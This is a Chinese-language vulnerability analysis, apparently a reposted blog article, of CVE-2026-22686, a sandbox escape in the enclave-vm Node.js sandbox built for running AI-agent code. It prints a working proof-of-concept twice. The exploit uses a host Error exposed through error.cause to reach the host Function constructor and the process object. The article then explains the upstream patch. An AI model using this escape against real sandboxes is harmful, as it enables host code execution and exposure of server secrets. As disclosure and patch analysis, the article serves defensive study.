文章总结: 本文解析了CVE-2026-22686漏洞,揭示enclave-vm低于2.7.0版本因异常处理不当导致沙箱逃逸。攻击者利用暴露的宿主Error对象,通过原型链遍历获取Function构造函数,从而绕过隔离执行任意代码致RCE。建议立即升级至2.7.0或更高版本,该版本通过切断原型链、冻结属性等七项措施修复漏洞,彻底阻断逃逸路径。 综合评分: 98 文章分类: 漏洞分析,AI安全,漏洞POC,WEB安全,代码审计
CVE-2026-22686:AI代理沙箱的完美逃逸
dmd5安全 dmd5安全
dmd5安全
2026年1月26日 15:04 江西
漏洞来源
漏洞描述
enclave-vm 是一个基于 Node.js 的 JavaScript 沙箱工具,专为运行 AI 代理代码设计,目标是:隔离不可信的用户代码,在受限环境中执行 JavaScript,防止恶意代码访问文件系统、网络等敏感资源。它使用了 Node.js 的 VM 模块 或类似的机制构建隔离环境,但依赖于 JavaScript 的原型链和对象继承机制。
在 enclave-vm 版本低于 2.7.0 的 JavaScript 沙箱实现中,存在一个严重的沙箱逃逸漏洞(Sandbox Escape)。当用户提供的代码在执行过程中抛出异常时,enclave-vm 会将宿主环境(Host Environment)中的原生 Error 对象直接暴露给沙箱上下文。由于该 Error 对象保留了完整的 JavaScript 原型链,攻击者可利用其原型链向上遍历,最终访问到宿主环境中的 Function 构造函数。
通过 Function 构造函数,攻击者能够在宿主上下文中动态编译并执行任意 JavaScript 代码,从而完全绕过沙箱隔离机制。成功利用此漏洞的攻击者可在运行 enclave-vm 的服务器上执行任意操作,包括但不限于读取/写入文件系统、发起网络请求、执行系统命令等,导致远程代码执行(RCE)和服务器完全失陷。
漏洞原理
该漏洞的根本原因在于未对暴露给沙箱的错误对象进行安全封装或原型链剥离,违反了最小权限原则。建议所有受影响用户立即升级至 enclave-vm 2.7.0 或更高版本,该版本已通过切断原型链并限制敏感对象暴露的方式修复此问题。
漏洞分析
当用户提供恶意代码
async function exploit() { try { // 1. 调用不存在工具,触发Promise.reject(wrappedError) await callTool('NON_EXISTENT_TOOL', {});
} catch (error) { // 2. 这里捕获到wrappedError
// 3. 通过cause访问主机Error const hostError = error.cause;
// 4. 通过原型链获得Function const FunctionConstructor = hostError.constructor.constructor;
// 5. 执行任意代码 const process = FunctionConstructor('return process')();
return { compromised: true, serverInfo: { cwd: process.cwd(), env: Object.keys(process.env) } }; }}
沙箱调用不存在的工具,callTool返回Promise,await等待其完成
parent-vm-bootstrap.ts文件的innerCallTool被调用(沙箱内的callTool就是这个函数)
由于
var promise = hostCallTool(toolName, sanitizedArgs);
调用了hostCallTool函数,hostCallTool函数是通过__host_callTool__全局变量得到的,而__host_callTool__全局变量在double-vm-wrapper.ts文件内被赋予hostCallTool,hostCallTool又指向createHostCallToolProxy函数,这说明hostCallTool是来自于double-vm-wrapper.ts文件的,那么在执行该函数时,我们跳到double-vm-wrapper.ts文件去
且看createHostCallToolProxy函数
该函数返回的是一个async函数
调用用户提供的toolHandler也就是这一段
await callTool('THIS_TOOL_DOES_NOT_EXIST_XYZ', {});
try { const result = await toolHandler(toolName, resolvedArgs); return sanitized;
} catch (error: unknown) { const err = error as Error;
const wrappedError = new Error(`Tool call failed: ${toolName} - ${err.message}`); wrappedError.cause = err; // 保留对主机Error的直接引用
throw wrappedError; // ⬅ 在async函数中throw → Promise.reject(wrappedError) }
如果没有用户所需要的工具就会抛出错误走到catch (error)进行
然后创建包装错误,且保留对主机Error的直接引用
而在JavaScript中,async函数有一个重要特性:
它总是返回一个Promise。当你在async函数中throw时,实际上返回的是一个被拒绝(rejected)的Promise,因此自动转换为:return Promise.reject(wrappedError)。
由于我们是通过parent-vm-bootstrap.ts文件中的
var promise = hostCallTool(toolName, sanitizedArgs);
这段代码走到double-vm-wrapper.ts文件的,那么Promise.reject(wrappedError)就会被抛回给promise
function innerCallTool(toolName, args) { // 3. 调用主机函数,返回Promise var promise = hostCallTool(toolName, sanitizedArgs);
......
return createSecureProxy(promise.then(function(result) { return createSecureProxy(result); }));}
而在上面这段代码中,缺少.catch()处理且.then没有第二个参数,因此Promise.reject(wrappedError)就被抛回给沙箱
async function exploit() { try { // 1. 调用不存在工具,触发Promise.reject(wrappedError) await callTool('NON_EXISTENT_TOOL', {});
} catch (error) { // 2. 这里捕获到wrappedError
// 3. 通过cause访问主机Error const hostError = error.cause;
// 4. 通过原型链获得Function const FunctionConstructor = hostError.constructor.constructor;
// 5. 执行任意代码 const process = FunctionConstructor('return process')();
return { compromised: true, serverInfo: { cwd: process.cwd(), env: Object.keys(process.env) } }; }}
沙箱接收到Promise.reject(wrappedError)之后发现Promise是rejected状态,于是await抛出拒绝原因(wrappedError),然后catch块捕获到wrappedError
而由于抛出的是wrappedError,而wrappedError是主机的Error引用,然后利用 JavaScript 原型链的性质,通过 wrappedError.cause.constructor.constructor 就得到了 Function 构造函数,这样就可以对function进行恶意操作
漏洞修复
查看补丁:
https://github.com/agentfront/enclave/commit/ed8bc438b2cd6e6f0b5f2de321e5be6f0169b5a1
修复点:使用 createSafeError取代new Error
/** * Safe Error Utilities * * SECURITY: Any Error object created in the host realm and exposed to sandbox code * must not allow reaching the host Function constructor via prototype-chain walks. * * Threat model: * - Sandbox code can intentionally trigger host-side failures (e.g. tool calls, proxy traps) * - If a host Error crosses the boundary, attackers can climb: * hostError -> Error.prototype -> Error -> Function -> new Function('...')() * and execute arbitrary host code (e.g. `process.env`, command execution). */
/** * Create an Error instance whose prototype chain is severed (actual [[Prototype]]), * preventing prototype-chain escape to host constructors. */export function createSafeError(message: string, name = 'Error'): Error { const error = new Error(message); error.name = name;
// Null-prototype "constructor" object to break `err.constructor.constructor` chains. const SafeConstructor = Object.create(null); Object.defineProperties(SafeConstructor, { constructor: { value: SafeConstructor, writable: false, enumerable: false, configurable: false, }, prototype: { value: null, writable: false, enumerable: false, configurable: false, }, name: { value: 'SafeError', writable: false, enumerable: false, configurable: false, }, }); Object.freeze(SafeConstructor);
// CRITICAL: sever the *actual* prototype chain (native getters / Object.getPrototypeOf). // A shadowing `__proto__` data property is not sufficient. Object.setPrototypeOf(error, null);
// Provide safe shadow properties for common escape paths / ergonomics. Object.defineProperty(error, 'constructor', { value: SafeConstructor, writable: false, enumerable: false, configurable: false, });
Object.defineProperty(error, '__proto__', { value: null, writable: false, enumerable: false, configurable: false, });
// Do not leak stack traces from host internals. Object.defineProperty(error, 'stack', { value: undefined, writable: false, enumerable: false, configurable: false, });
Object.freeze(error); return error;}
export function createSafeTypeError(message: string): Error { return createSafeError(message, 'TypeError');}
主要从以下七点进行修复:
1.使用Object.setPrototypeOf(error, null),阻止 err.__proto__.__proto__.constructor 向上遍历到 Object.prototype.constructor → Function切断真实原型链
2.使用 Object.defineProperty(error, ‘constructor’, { value: SafeConstructor }),阻止 err.constructor.constructor 直接获取宿主 Function 构造函数
3.使用const SafeConstructor = Object.create(null); + 冻结其属性,确保 err.constructor.constructor 返回自身(非函数),无法用于代码编译
4.使用Object.defineProperty(error, ‘__proto__’, { value: null, … }),防止攻击者通过 err.__proto__ 访问原始原型(即使 [[Prototype]] 已切断,也避免引擎或 polyfill 依赖此属性)
5.使用Object.defineProperty(error, ‘stack’, { value: undefined, … }),防止泄露宿主内部路径、模块名、行号等敏感信息
6.使用Object.freeze(error) 和 Object.freeze(SafeConstructor),阻止运行时修改 constructor、__proto__ 等属性(如 err.constructor = maliciousFunc)
7.所有 Object.defineProperty 设置 enumerable: false, configurable: false,防止通过 for…in、Object.keys() 暴露内部结构,且禁止删除/重定义属性
参考:
https://github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63
https://github.com/agentfront/enclave/commit/ed8bc438b2cd6e6f0b5f2de321e5be6f0169b5a1#diff-2868e38b308e4d653f3c258c65371827ad1f5a1517c4f601fc0b21817ba515db
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:dmd5安全 dmd5安全 dmd5安全《CVE-2026-22686:AI代理沙箱的完美逃逸》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。



![[0126]一周重点情报汇总|天际友盟情报站](/images/random/titlepic/5.jpg)





![[跟着静师傅学代码审计]itc中心管理服务器审计](/images/random/titlepic/10.jpg)
评论